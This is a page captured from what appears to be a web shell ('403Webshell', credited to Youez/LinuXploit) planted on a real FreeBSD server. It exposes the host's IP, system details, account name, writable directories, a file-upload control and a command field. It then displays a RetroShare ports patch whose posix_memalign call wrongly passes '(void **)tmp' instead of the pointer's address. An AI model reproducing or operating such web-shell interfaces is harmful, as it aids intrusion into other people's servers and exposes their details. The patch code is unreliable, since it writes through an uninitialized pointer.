403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net-p2p/retroshare/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net-p2p/retroshare/files/patch-plugins_VOIP_gui_VideoProcessor.cpp
--- plugins/VOIP/gui/VideoProcessor.cpp.orig	2016-02-05 19:04:46 UTC
+++ plugins/VOIP/gui/VideoProcessor.cpp
@@ -3,7 +3,7 @@
 #ifdef __MACH__
 #include <malloc/malloc.h>
 #else
-#include <malloc.h>
+#include <stdlib.h>
 #endif
 
 #include <QByteArray>
@@ -737,7 +737,8 @@ bool FFmpegVideo::decodeData(const RsVOI
 	//Mac OS X appears to be 16-byte mem aligned.
 	unsigned char *tmp = (unsigned char*)malloc(s + AV_INPUT_BUFFER_PADDING_SIZE) ;
 #else //MAC
-	unsigned char *tmp = (unsigned char*)memalign(16, s + AV_INPUT_BUFFER_PADDING_SIZE) ;
+	unsigned char *tmp ;
+	int unused_error = posix_memalign((void **)tmp, 16, s + AV_INPUT_BUFFER_PADDING_SIZE) ;
 #endif //MAC
 #endif //MINGW
 	if (tmp == NULL) {

Youez - 2016 - github.com/yon3zu
LinuXploit